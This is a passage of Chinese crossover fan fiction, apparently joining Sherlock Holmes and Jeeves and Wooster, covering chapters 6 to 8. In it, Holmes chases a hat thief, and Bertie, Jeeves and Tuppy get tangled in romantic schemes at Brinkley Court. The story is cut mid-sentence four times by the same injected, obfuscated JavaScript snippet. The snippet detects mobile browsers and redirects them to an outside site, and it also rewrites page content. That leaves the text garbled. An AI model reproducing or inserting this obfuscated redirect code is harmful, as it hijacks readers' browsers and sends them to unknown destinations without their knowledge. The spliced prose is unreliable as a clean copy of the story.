“但伍斯特先生又不是他的雇主,迈克罗夫特才是。” “事关职业操守,还有他们男仆内部某些约定俗成之类的。我只好转而给迈克罗夫特拍电报,不过还没有回音。” 我们谈话时,雷斯垂德终于缓过神来,对我们露出劫后余生的微笑。他从怀里摸出一张纸:“至少我脑子还没有吓糊涂,那家伙逃走时,不慎把这东西落下了。” 福尔摩斯立刻兴奋地搓了搓手,他兴致勃勃地抓过纸张,细长苍白的手指反复摩挲着,拿到灯光下仔细观察。 “这上面画着的图案,我认为就是那群强盗在找的东西,可能是古董之类的,很有可能就在斯威登老先生的店里,因为我把这幅画给他看时,他吓得连连否认自己藏有这么个东西。” 我凑到福尔摩斯身边,只看到了一团乱麻。那图案有个圆形的外廓,可能是个盘子、金币或珐琅瓷器,里面则是毫无规律的线条和畸形的涂鸦,拿远了看,好似有个丑恶的面孔在瞪着我。 我对这东西嗤之以鼻,可福尔摩斯似乎着了迷,眼睛一眨不眨地盯着它,仿佛有几分饥渴的向往之色。 我推了推他,他忽然把纸团起来扔进烟灰缸里,纸张在没干透的水中浸湿了。 他揉揉鼻梁,对我打了个手势叫我继续。 “福尔摩斯,我们是不是该把店主保护起来,防止强盗再次出现?”我问道。 他没有回答这个问题,对雷斯垂德道:“你刚才说他们出城了?这种来自意大利的纸非常高级,英国只有一个厂家在售卖,我们可以通过这条线索,找到伍斯特先生现在的住址。” 我在之前的篇章《蓝宝石案》里记载过福尔摩斯是如何巧妙地同店员套话的,这里我不再赘述。总之,等上午的阳光将笼罩在探长身上的恐惧吹散后,我们得到了那张纸的来源信息:伍斯特郡斯诺兹伯里市场外的乡间别墅,布林克里宅邸。 “雷斯垂德,你去一趟伍斯特郡,继续追查那伙强盗。而华生,我们俩等午饭后到古董店走一趟。” “你认为他们得手了吗?”探长问,“如果没得手,他们不会跑到乡下去,应该还留在伦敦。但我看店主的样子,不像是宝贵之物已经被人偷走的模样。” “重点不在于赃物,雷斯垂德。”福尔摩斯故意用手扶了扶帽檐,“我不认为伍斯特先生会大费周章觊觎所谓的古董,不,那只是西班牙强盗的目的。你放心,盗窃案很快就能解决,但这不意味着你就安全了。” 可怜的雷斯垂德又被吓到了。 “很多连环杀手都有保留纪念品的怪癖。”几分可以称得上是“邪恶”的笑容出现在福尔摩斯嘴角,“波兰的尤瑟比乌斯·皮乔基会剪下受害者的头发藏在箱子里,著名的开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283853|198395||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 膛手杰克会带走死者的子宫、肾脏等器官。还有最常见的一种,保留受害者的衣服、饰品,例如牙买加的路易斯·哈钦森,德国的盖谢·戈特弗里德和弗里茨·哈曼……” 他每点出一个名字,雷斯垂德的脸色就惨白一分,终于他的害怕触及到底线,反而鼓起了巨大的勇气。 “好吧!”他用手摸了下放手枪的位置,“我倒要瞧瞧伍斯特先生抢我的帽子是不是为了把我杀死!” “那就要看你在布林克里宅邸有没有发现更多帽子了。”我亲爱的朋友继续调侃道。 虽然吓唬雷斯垂德很不道德,但一个想法闪进我的脑海,我也忍不住添油加醋:“说不定你某天晚上回到家里,看见被抢走的帽子就摆在床头。墙上还用颜料写着警告,什么‘我来去自由’、“下一个就是你”之类的。” 福尔摩斯终于爆发出悦耳的大笑,拍了拍面如菜色探长的肩膀:“好了,我们在此分头行动吧,雷斯垂德。如果你真的在房间里拿到失落的帽子,再来找我们。” ****** ****** 一整个早上,达利娅姑妈都对我怒目而视,我自觉心虚,也不敢招惹她。休息过后,我打算去找安吉拉表妹吹吹牛,却在她那里听到了糟糕的消息。 “你要和塔皮解除婚约?”我咂舌道,“这可不行,你们的事已经如同福音真理一般,怎么好解除?” “如果你昨晚有来餐厅吃晚饭,就会看见塔皮·格罗索普上蹿下跳使出浑身解数只为了博得美人一笑。那西班牙小妞和他一直眉来眼去,我都看在眼里。” “这、这不可能。”我结巴道,“能在瓦伦蒂娜小姐脸上看到表情才是件稀罕事。” 她扭过头去不理我。 我指天发誓塔皮绝对和瓦伦蒂娜小姐没有未来,叫她好好冷静冷静,仔细考虑自己的选择。汤姆姑父神志不清,达利娅姑妈又因为金币没偷到而气上心头,如果她和塔皮再闹矛盾,这个家就彻底没救了。 “说得轻巧,你自己招惹来的麻烦,怎么推给别人呢?”她斜睨我一眼,“让我忍受塔皮也行,你先把那女的引走。” “什么引走?” “你的相亲对象,自然要你亲自下场。” “噢,不!”我大叫道,“你想把我推入火海?安吉拉亲爱的,你的小脑瓜里藏着这么可怕的念头?我早就和你说过,自从和玛德琳·巴塞特、霍诺瑞亚·格罗索普、弗洛伦斯·克雷等姑娘反复订婚后,我就时刻与女性保持距离。如果不是阿加莎姑妈——” “是啊,阿加莎姨妈叫你结婚,不是吗?”她捂住耳朵不听我的抗议,“你就听她话行了呗?” 福至心灵,我忽然想起吉福斯的话:“但吉福斯说他们不是真正的贵族,我不必遵从阿加莎姑妈的指示。” 安吉拉翻了个白眼:“他撒谎。吉福斯当然不想你结婚,傻伯蒂,没有贴身男仆希望自己的主人结婚。‘妻子从前门进来,男仆从后门出去。’你要是全听他的,你就是上了当了。” 6.第 6 章 “有句俗语叫做什么来着,吉福斯?就是这边也不好过那里也要给我一肘击的玩意儿。” “两头堵,先生。” “对了,两头堵。”我整理着袖口,“安吉拉表妹给我下令,让我去绕着瓦伦蒂娜小姐转,否则她就要取消和塔皮的订婚。我不能眼睁睁地看着他俩劳燕分飞,但我也不想被误会非瓦伦蒂娜小姐不可。无论我怎么做好像都不能让大家满意。” 塔皮叫仆人给我传信说下午去打高尔夫,估计冈萨雷斯兄妹都在。我还没想好要不要听安吉拉的话,如果我当场和塔皮争起来,那场面可不太雅观。 我套上休闲裤,吉福斯帮我整理着背带,又拿出小刷子刷了刷我的毛衣领子:“我认为在格罗索普先生看来,那无异于是当面挑衅,恐怕会招致一些愤怒引起的暴力行为,先生。” “雄性的好斗心理,是不是?” “有研究表明其实男性在两性关系上更具有嫉妒心,意大利科学家……” “别管什么意大利科学家了,吉福斯。”我心生一计,“我有个绝妙的办法,保管让塔皮停止在瓦伦蒂娜小姐面前出丑,又让他顺利和安吉拉和好。” “洗耳恭听,先生。” “我要当着塔皮的面亲安吉拉一口。” 吉福斯手里的小刷子掉在了地上。 “请原谅。”他用一种堪称严厉的眼神怒视着刷子,弯腰捡起,“先生,你可否还记得上次亲吻宝琳·斯托克小姐和霍诺瑞娅·格罗索普小姐的后果?” “我当然记得,被迫和她们订婚嘛。但是安吉拉,她是谁?她是我安吉拉表妹,最亲密的日子就是六岁时恨不得给对方一闷棍,我们绝对不会订婚的。相反,如果我对她大献殷勤,塔皮肯定嫉妒到发狂,危机感会让他立刻回到她身边,而我也不用去招惹瓦伦蒂娜小姐。” “你确定他不会放下心里的重担,追寻内心的指引朝着瓦伦蒂娜小姐靠拢,先生?” 我啧啧两声:“也许你在拿捏人心上是个行家,吉福斯。但是爱情,你决对不是我的对手。多少哥们全仰赖你家主人出手相助才能抱得美人归,要知道在那之前他们的未婚妻可都非我不嫁。” “是出于正相关还是反相关呢?” 吉福斯好像又在讽刺我,但我琢磨了好几遍也没回过味来。算了,我总结道:“总之,下午我和安吉拉待在小花园里,你找准时机把塔皮叫来,我一瞥见他出现,就在安吉拉脸颊上亲一亲。” “恐怕格罗索普先生不……” “就这么说定了,吉福斯。”我自信地打断他,伸出双手,“你家主人的计策总是万无一失。好了,现在帮我穿上外套吧。” 他清了清嗓子,面有难色地回答:“如果你坚持,先生。” 不过我还没来得及安排演员上场,塔皮在午饭前先找到了我。 “伯蒂。”他抓住我的胳膊,“你下午一定要去一趟斯诺兹伯里集市!” “什么?高尔夫呢?” “高尔夫继续打呀。” “那你又说去斯诺兹伯里集市。” “是‘你’去斯诺兹伯里集市。”他的眼睛几乎在闪烁着绿光了,有点令人背后发毛,“而我,留在家里打高尔夫。上帝,伯蒂,你真是我的好兄弟。你恐怕还不知道吧?冈萨雷斯兄妹就是我前几日在赌马站遇见的人。” 这着实惊到我了:“也就是说——老天,你一见钟情的姑娘就是瓦伦蒂娜小姐?” “我正愁那个探长能不能帮我找到人,你就邀请他们来家里玩了,不愧我们这么多年好兄弟!” 他看起来想要紧紧拥抱我,我赶紧把他推开:“所以去集市是什么意思?” “哦,是这样的,你也知道我们是在赌马站认识的。瓦伦蒂娜小姐和他哥哥都对赌马感兴趣,我们早上聊了聊最近的几匹热门选手,然后她随口说除了赌马,其实自己也有养马的愿望。机会来了,你下午到集市买一匹最优质的马,加上马鞍、呃、马镫那些乱七八糟的,我要送给瓦伦蒂娜小姐。” 没想到那古板兄妹背地里还有这一面,我瞬间心生好感。原本阿加莎姑妈说他们家风严谨,我还对他们不抱希望,如今看来还是有人性的闪光点的。 但是我想到亲吻安吉拉的计划,一下子又犯了难,不知道该先做什么。女仆忽然走进屋子叫我们吃饭,我只好坐上餐桌,吃完了一顿众人脸色各异、各怀心思的午饭。 最终我不得不在塔皮的催促下带着吉福斯开车去了集市。 “这下好了,我觉得塔皮没那么容易收心。”我对吉福斯说,“他不是见异思迁,看那个架势是真的对瓦伦蒂娜小姐动了真情了。” “的确令人意外,先生。” “唉,你说我要不要加大剂量?我的意思是,也许亲脸颊不太够,得再亲密一点……” “先生。”他咳嗽一声,“眼下我们有个绝佳的机会,可以毁坏格罗索普先生在冈萨雷斯小姐面前的形象。如果我们带回去的马匹让她不满意,甚至叫人尴尬,那么她肯定会远离他。” “你说得对。这世界上还有能难得住你的问题吗,吉福斯?你肯定在听到塔皮的要求后立马想到了这个计策吧?” “是的,先生。” 我对斯诺兹伯里集市十分熟悉,每当宅子里的人有什么需要,老伍斯特都会满足他们的要求,到这里采购这采购那。然而这次却不太顺利,或者说非常糟糕。我一把车停靠在街道边,就看到前方有个脸熟的人从旅馆里面走出来,站在招牌下点了支烟。 我立刻弯下腰躲在方向盘后面,扭身扑到吉福斯大腿上。 我好像撞到了一块石头,听见吉福斯变了调的质问:“先生?!” “嘘——”我胡乱比划着,“有品位探长!” 这次他智慧的脑瓜不顶用了,好久都没反应过来,僵硬着一动不动。幸好他古怪的脸色没有引起别人注意,我偷偷瞄了一眼,有品位探长并没有发现我们,叼着烟往酒馆的方向去了。 “唉!”我坐起身,顺便帮吉福斯捋了捋大衣的褶皱,“你瞧,他都追到这里来了。我们偷金币的事迟早案发。” 他深吸了两口气,脸色缓和道:“未必,先生。你在古董店并未得手,是以我们和偷窃事件没有丝毫联系。这位……呃,探长唯一能指认你的证据只有一个。” “什么?” “你的帽子,先生。” “噢!”我按住脑袋,手指穿过那丝滑的羽毛。哎呀,我都忘记了!幸好刚才探长不够眼尖,没发现我正戴着赃物。我急忙摘下来:“他就是为这顶帽子而来!” 吉福斯安慰我说:“别担心,先生。也许还有别的解决方案。” “什么方案?” “比如把帽子还给探长?” 我张口结舌,不得不承认这回他确实拿捏住我了。我看着旅馆门口,问:“好吧,我们是不是应该去问门房他住在哪一间,然后叫人把帽子送 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294474|198395||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还给他?或者从窗户爬上去,悄悄放进他的卧室里?” “那势必会暴露我们的长相,有目击证人的情况下证据链就完整了。我想,既然我们都在集市上,会有机会把帽子送还给他的,先生。当务之急,先去完成格罗索普先生的任务比较合适。” 关键时刻还得依赖吉福斯来顶事。我和他一路鬼鬼祟祟、左摇右晃地来到牲畜贩卖区,生怕有品位探长猛地从角落里跳出来大吼着用手铐把我拴住。 “先生。”吉福斯站在一匹牲畜前,“这只非常适合格罗索普先生。” 我还以为我眼睛出了毛病。 “吉福斯?” “先生?” “这是牛!” “非常可爱的小家伙,先生。” “你管它叫‘小家伙’?”我抗议,“它看起来一口气犁十英里地都不用休息的!你的身上被下了什么诅咒?塔皮叫我带一匹骏马回去,好送给瓦伦蒂娜小姐做礼物,你却叫我买只牛。这是绅士小姐应该坐的坐骑吗?” “说不好,先生。通常来说,在浪漫环境下骑马,是为了两人一起在马匹上互诉衷肠。假设格罗索普先生打算和小姐一起闲逛,牛走得更慢,他就有更多时间说心里话了。” 我一时半会儿竟找不到可以反驳吉福斯诡辩的话,张口结舌了好一阵子,脑袋里被各种杂乱的词句占据了全部枝杈。等回过神来,吉福斯已经付完钱牵着牛:“先生?” “你……你要怎么把它运到汽车上?”我艰难地问。 “右侧出口继续往下走一个街区有一个装卸站,可以拜托工人将牛送回宅子。不过我们需要先把牛赶去装卸站,先生。” 我伯特伦·伍斯特活了二十多年还从未和牛打过交道,和这位新认识的“达达”(它的饲养员这么叫它)大眼瞪小眼。它非常倔强,让我想到了阿加莎姑妈,我只好抓了把牧草在前面哄它,终于把它赶上了路。 哄着哄着,达达用它大眼睛盯着我,嘴里嚼着牧草,倒是有几分可爱。我头一回被牛喜欢,兴奋地对吉福斯说:“你看,他好像很喜欢我喂他。我误会它了,它一点也不像阿加莎姑妈。” “你的身上有股特殊的亲和力,先生。” 我得意地从他手里牵过绳子,主动带着达达往前走,然而快抵达装卸站时,它忽然哞了一声,然后固执地站在原地不动。 我推了推它,它给我一个白眼,我纳闷牛也会翻白眼了,手底下使出吃奶的劲,它却纹丝不动。我被它累得浑身冒汗,摘下帽子扇扇风,顺手挂在了旁边的栅栏上。 “好达达,快走吧。”吉福斯说。 说也奇怪,这畜生好像特别听吉福斯的话。总之我们把它弄到了装卸站,工人告诉我们下午四点半准时送到布林克里宅邸。一切都搞定了。 我和吉福斯返回汽车,不禁担忧地看了眼旅馆,就在这时我想起来我的……探长的帽子还挂在装卸站旁的栅栏上。 匆匆赶回去,却发现栅栏上空无一物。 街对面的小摊贩朝我们喊道:“吉福斯先生,你家主人的帽子被人抢走了!” 他挑了挑眉:“抢走了?” “我刚注意到帽子,打算拿来还给你们。突然从旁边厕所里冲出来一个人,大叫着‘他说中了!他都说中了!’一把夺过帽子跑了,我追都追不上。” “真是奇了怪了。”我对吉福斯叹道,“没想到这顶帽子居然这么受欢迎,接二连三有人想要抢走它。” 7.第 7 章 “既然帽子被别人抢走,那我就不会被抓了吧?”我问吉福斯。 “可以这么认为,先生。缺乏完整的证据链,哪怕那位探长站出来指认你,你也完全可以否认你们之间的关联。” 唉,有品位探长注定要失去他的帽子。 虽然我很同情他,但我的同情无济于事。摊贩说他没看清抢帽子的人长什么样子,不过铁定是个生面孔,于是只能这样了。 返回庄园里,达利娅姑妈在我去花园的路上截住我,我只好叫吉福斯去塔皮那告知他“马”已经买回来的“好消息”。 “我说,伯蒂。”达利娅姑妈说,“这不怪你,毕竟确实有点仓促了。但你今天吃饭的时候也看到,汤姆那六神无主的模样,就是塞一块马嚼子在他嘴底下他也会抓住啃。你得再去一趟城里,把金币偷来。” “没门,达利娅姑妈。我很想帮你,但估计现在古董店外面围了二十个警察,就等着把我拷起来呢。” 虽然不知道有品位探长是怎么找到伍斯特郡来的,至少波特贝罗路是不能再去了。想让汤姆姑父好起来,只能给他找点别的乐子或刺激,让他把什么海盗金币给忘掉。 幸好达利娅姑妈是位有巾帼风范的女子,能挺得住。陪她喝了几杯茶,她失望地摆摆手,把我放走了。 我溜达去花园,看见安吉拉表妹坐在灌木丛边读书。 “你好,小混蛋。”我一屁股在她身旁坐下,“没去打高尔夫?” 她淡定地翻过一页纸:“没去。谢谢你,伯蒂。” “谢我?为什么?” “哦,伯蒂。”她甜甜地笑道,“是你家吉福斯的主意,对吧?” 看来吉福斯把我的计策透露给她了,那么便没什么好犹豫的。本来嘛,我从小就很宠她,在我心里她就和我亲姐妹一般,亲一两下脸颊没什么大不了的,但更亲密的举动就很别扭了。 现在我们俩有了默契,一切都水到渠成。我和她闲聊半晌,直到看见一个黑色的小点出现在宅子后门朝这里走来。 是塔皮!我瞬间来了精神,对她道:“呃……安吉拉亲爱的?” “嗯?” 我支支吾吾,眼看着塔皮的轮廓越来越清晰,把心一横,一把抱住安吉拉,在她左边脸颊上“啵”地亲了一大口。 “伯蒂!”她咯咯咯笑起来,“你真讨厌!” “你也很讨厌——诶?怎么——” 塔皮愣在了草坪边缘,然后猛地像是一辆装载了货物的火车头朝这里冲锋。我老远就看见他扭曲的神情和手里挥舞着的黑色绳索状物体,靠近了一瞧,才发现那是马鞭。 坏了,这个计策的效果好像有点超出它应该生效的范围。我立刻撒腿就跑,觉得自己堪比非洲大草原上的瞪羚,跃进了草丛里。 “伍斯特!你这个小人,给我站住!” 塔皮紧追不舍,而我使出了生平未有的力量,一路冲出花园,沿着庄园外的草坪爬上山坡,隐入树林中。他逃跑的经验显然没我多,很快就被我甩到了后方。 我累得头晕眼花,看天边的太阳都是绿色的。可我不敢回家,只能在郊野外四处闲逛,路过的好心农妇看我可怜,还给我喝了点牛奶。 直到晚上我估摸着塔皮应该稍微冷静些了,才摸着饥肠辘辘的肚子返回宅子里。唯一能让我欣慰的是,经过下午的事情,他和安吉拉肯定就像锅和灶一样亲。 我不敢惊动庄园里的人,只盼着溜回房间,让吉福斯给我送点晚饭。达利娅姑妈家的厨师安纳托有着世界上最好的手艺,他继承了高卢人能够拿出的最完美水准,如果吃不到他做的饭,我今晚会睡不着的。 然而我的目标再次被打破,从楼梯上去,我听见了卧室门口沉重的脚步声。我躲在角落里偷看,原来是塔皮宛如巡逻领地的犀牛守在门口不肯离开,手里依旧拿着马鞭。 我绷紧了后背,不敢惊动一点,摸黑下了楼梯,慌乱间随便打开一扇门冲了进去。 “吉福斯!”我撞见令人安心的身影,含着泪迎了上去,像只无助的羔羊,“快想想办法呀。” “先生!”他震惊地看向我,快步穿过走廊,“你怎么……你不该出现在这里。” 我正想开口,他忽然抓住我的手臂,把我推到墙边,用他宽阔的肩膀挡住我。脚步声从他背后的过道由远及近,两个女仆嘻嘻哈哈地打招呼:“晚上好,吉福斯先生。” 他没有回头,冷冷地冲着我的方向道:“这是最后一次,史密斯。如果你再不小心打碎主人的物件,我会让你尝尝最严厉的惩罚。” 女仆们噤了声,停止说笑小跑着离开了。 等走廊上没人再经过,他才紧张地把我护送进一间屋子:“先生,你不能到‘楼下’来,这里是仆人活动的区域,被人看见会破坏规矩的。” 我知道吉福斯骨子里的封建思想足以和阿加莎姑妈比拼也不输人,不过我心思完全不在这上面。兴奋地观察着四周,我开心道:“哇,吉福斯,这是你的卧室吗?” 大概因为我经常来布林克里宅邸住,管家给吉福斯准备的房间也很符合他的需要。他有一张很大的办公桌,后置的书架,书籍和文件夹、纸张整齐地堆叠着,还有台打字机正工作到一半。 除此之外,他只有一张比单人床稍大些的床铺,和简单的衣柜。 贴身男仆就像影子,他们无处不在,及时为主人奉上所需物品。他总能在我呼唤的时候出现,然后悄然离开,我发现我从来没考虑过他住的地方是什么样的,明明他和我就住在同一间公寓里。 我盘算着回到伦敦的伯克利公寓后,也去看看吉福斯的卧室长什么样,下意识伸手想摸一下床单。他有些失礼地拦住我道:“是否有些急事需要处理,先生?” 我没计较这个:“啊?哦!我回不去了,塔皮在门口,指望着给我背上来几下马鞭。我今晚能睡在别的地方吗?” “我让女仆给你准备其他的房间,先生,请先去休息室稍等片刻。” “我还是不上去了,叫仆人准备房间消息就会传到塔皮耳朵里,我到哪他都能抓住——嘿!我想到了,吉福斯,答案不就在眼前吗?” 我笑眯眯地讨好道:“我今晚能睡在你这里吗?” 他后退了一步,如临大敌地瞪着我。我被他看得不好意思,却又理直气壮地挺了挺胸膛。他家主人落难之际,他不应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308323|198395||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该伸出援手吗? “如果被其他仆人撞见……” “不会啊,我老实待在这里,没有人会发现。” “还是不妥,先生。你不习惯睡仆人房的,这张床很小,寝具也不够舒适,晚上没有暖气,你可能会冻到。” “你知道我不是什么豌豆公主,对吧?别忘了上次去美国,我还在长岛那个只能和猴子问好的乡下小屋睡过一晚,虽然睡不着就是了。但我相信你的床肯定比长岛舒服多了。” 他还想再反驳,但我直接往床上一坐,用我可怜兮兮最能激发保护欲的眼神瞧着他:“吉福斯,你能去厨房搞点安纳托做的菜吗?我饿得连紫甘蓝都可以吃下一盆。” 他最终还是妥协了,转身离开卧室,回来时手里拿着托盘。他让我坐在书桌前大快朵颐,自己则像只勤劳的小蜜蜂把寝具都换成新的,又把我的皮鞋脱下来清洁。 我看着他握着我的脚塞进毛茸茸的狐毛拖鞋里:“我承认我的计划确实不怎么样,塔皮似乎完全失去理智了。” “也许是因为他发现你试图拆散他和瓦伦蒂娜小姐,先生。” “什么?”我停下大嚼牛腰子馅饼的嘴,“我怎么拆散了?” “工人将达达送到庄园后,格罗索普先生对这只出乎他意料的动物很不满。碍于瓦伦蒂娜小姐在场,他没有发作,然而我们低估了动物多变的情绪。卡洛斯先生大声嘲笑格罗索普先生,达达忽然朝他冲撞过去,差点将他顶下山坡。” “天哪,卡洛斯先生没受伤吧?” “他堪堪躲过达达的撞击,周围的仆人围上来控制住了它。然而卡洛斯先生大发雷霆,斥责格罗索普先生故意为之,意图谋害他的性命。他坚决禁止格罗索普先生再靠近瓦伦蒂娜小姐,两人各自返回卧室闭门不出。” “真是意想不到的结果。我觉得达达挺乖巧可爱的,怎么会撞人呢?” 他把刷干净的鞋子放到座椅底下:“也许是因为卡洛斯先生的领带刺激到了它,才导致了它的坏脾气。” 我理解了:“你就是不肯放过他,对吧,吉福斯?” “先生?” 顺利拆开塔皮和瓦伦蒂娜小姐,我胃口大好,连吃了两个牛腰子馅饼,又喝了一碗肉汤。等吉福斯端上甜品,我才意识到:“等下,那岂不是……塔皮和安吉拉……” 他无奈地看着我:“的确,先生。或许是因为他试图与安吉拉小姐‘重修旧好’,而你刚好亲吻了安吉拉小姐,才导致他如此大发雷霆。” 真是弄巧成拙啊!我打了个寒战。 吃饱喝足后,我发现仆人的屋子确实比“楼上”要冷很多,便提早换了睡衣躺到床上,又盖上毛毯。 吉福斯拿出另一卷被子,在书桌边忙碌着。我问:“你在做什么呢?” 他把被子铺在地上:“另找一间屋子休息有些奇怪,为了避免仆人发现你在这里,先生,我今晚会睡在地上。很抱歉让你看见这么不雅的情景。” “别闹了,吉福斯。”我挪进床里,拍拍身边的位置,“明明是我占了你的房间,却叫你睡在地上,就算是封建等级什么的也太过分了。你睡在这里,我们能凑合一晚的。” 8.第 8 章 吉福斯的表情可以用“恐惧”形容了:“……先、先生。” 大惊失色之下,我都怀疑他会咬到自己的舌头。于是我安慰道:“别担心,不会突然有人冲进来说你以下犯上把你扭送法庭的。” “也许是另一种形式的扭送法庭,先生。” “什么形式?” 他不说话了,用一种闷闷不乐的神情瞪着我。我不打算计较,毕竟今晚挑战他底线的事情已经足够多了,只坚持挪到床铺里面,然后睁大眼睛盯着他。 他撇过头去,慢条斯理地收拾着铺盖,期间没有再朝我的方向瞥一眼。感觉自己赢了吉福斯一局,我像只快乐的小鸟,只觉得什么烦恼都冲淡了。我阅读着小说,期间时不时看看他,他尽可能拖延时间,但是时钟敲响,还是不得不来到床铺边上。 然后我意识到了一件事,就是我从来没见过吉福斯不穿西装的模样。他倒是见过我穿各种衣服,或者不穿衣服——在伺候我洗澡的时候——但他嘛,只会在贴身男仆的职业装和度假时的休闲西装之间切换。 这还怪不好意思的。我听见他脱衣服的声音,忽然别扭地不敢再往那边瞧,只盯着书本,那上面的字都糊成了米布丁。我的脖子有点疼,大概是保持僵硬的姿势太久了,直到他掀开被子,带着热气的物体钻进来,床垫的另一侧塌陷下去,吱吱嘎嘎响了两声,然后就结束了。 现在我们两个人都在床上,我靠着枕头垫,几乎软塌塌地躺下去,而他则直挺挺地靠着床头,不知道在想什么。 这种感觉很新奇。我在伊顿公学的时候,偶尔会听说某某和某某关系好到睡在一张床上,或者谁半夜偷偷溜去谁的房间一起睡这样的传闻。我哥们很多,但没有好到一起睡的哥们,如果叫我和宾果·利特尔、果丝·芬克-诺特尔或者什么人躺一张床,那我更愿意跑桥底下抱着青蛙睡一晚。 我清了清嗓子,把书递给他:“我困了,吉福斯。” 他接过书放在床头,抽走我背后的靠枕塞进我怀里。这张床上的寝具虽然换了新的,却和我睡的真丝或者超级舒适的棉花很不同,然而我还是觉得安心涌上心头。 “那么,晚安啦,吉福斯?” 我把被子拉到鼻子下面,终于鼓起勇气扭头看他。床头灯很昏暗,他又背着光,我看不见他的表情,不过他的身影倒还是那么高大,尤其在这么近的距离。 “晚安,先生。”他说,胸膛里嗡嗡震动着,伸手关掉了灯。 我和他并排躺在床上,好久都没动静。也许我应该尽快入眠,可惜丁点儿困意都没有,大脑异常精神,各种胡思乱想都朝里挤。我睡觉会打呼噜吗?会说梦话吗?会打扰到吉福斯吗?如果是我睡在床沿,说不定他会趁我熟睡把我踢下床,然后隔天早上告诉腰酸背痛的我是我自己不小心跌下去的。 但紧贴着床沿的是他,我们之间隔着的距离可以供摩西举办自行车拉力赛什么的,我都害怕他其实把半边身子都伸到了外面,那真挺冷。 “我说,吉福斯。”我转身面向他,“你往里些,一个人睡半张床不犯法的。” 尽管我没靠近他,但他还是浑身僵硬。我开始怀疑邀请他睡在床上是否是个好主意了,我本意希望他睡得好一些,但似乎事与愿违。 我只好没话找话,尝试引开他的注意力:“你能出出主意吗,吉福斯?这几天的任务都没做成,我好歹要帮帮达利娅姑妈,不然伍斯特连带你的名声都要搞坏了。” 终于,他智慧的大脑开始转动,便不在意细枝末节了:“特拉弗斯夫人依旧在烦恼金币的事,先生?” “没错,她还想叫我今晚再去一趟,我拒绝了。警察肯定守在那里,对吗?” “的确如此,先生。” “你说警察是怎么知道我在那里的呢?” “也许你愿意详细说说爬上屋顶之后的事情,先生?” 我绘声绘色地描述着昨晚的遭遇,越说越起劲,感觉我们俩现在有点像是男生宿舍夜聊了。如果吉福斯也在伊顿公学上学就好玩了,虽然那不太可能,而且他比我大许多岁—— “先生,那个缺口是自然形成的吗?”他的问题把我从想象中拉回来。 “什么意思?”他问的是屋顶烟囱和夹层之间的缺口。 “也许你并不是第一个到访的客人,先生。” 豁然开朗:“你是说,还有别人想偷金币,并且已经下手过了?但是我当时……直觉告诉我金币还在店里,吉福斯,看店主那紧张的模样。” “也许店主找到办法引开了偷窃者,对方没有得手。同时,根据探长的话,我认为那伙罪犯比我们更早引起警方的注意。” “那真是太惊险了。我们再也不能去那里,汤姆姑父只能和金币说拜拜。唉,不仅这儿糟糕,想到塔皮和安吉拉和好之后,我还要亲自去和瓦伦蒂娜小姐接触,不然阿加莎姑妈就要杀过来……” 忽然,我兴奋地朝他那里挪了几下,他无处可躲,只能任由我靠上他的手臂。 “吉福斯,你让所有先贤都羞愧难当的大脑是不是已经想到计策了?我不会和瓦伦蒂娜小姐,或者任何一位女士步入教堂,对吗?” 他态度稍微变了,转过身与我面对面。我们现在靠得非常近,近到我能闻到他须后水的味道,一点儿也不劣质刺鼻,反而…… “我不会让你结婚的,先生。” “啊?哦……” 我不知道该说什么,忽然我就想睡觉了,于是我挪回原位,把自己往被子深处塞了塞,脸埋进枕头里。 “好啊,吉福斯。” 我们都没再说话。我恍然梦见自己牵着达达,它的头突然变成了塔皮的脸,举着牛角要来顶我。我吓得钻进花园,只见卡洛斯先生从灌木丛里跳出来,身上穿着红色马蹄铁图案的睡衣,头戴海盗帽子大叫着:“给我五先令!” 我被惊醒了,然后我意识到不是梦境让我醒来的。 吉福斯似乎才是做噩梦的那个,他正在发抖,动作顺着床垫传过来,喉咙里是压抑的低语和抗拒的咕哝。我吓得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322376|198395||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 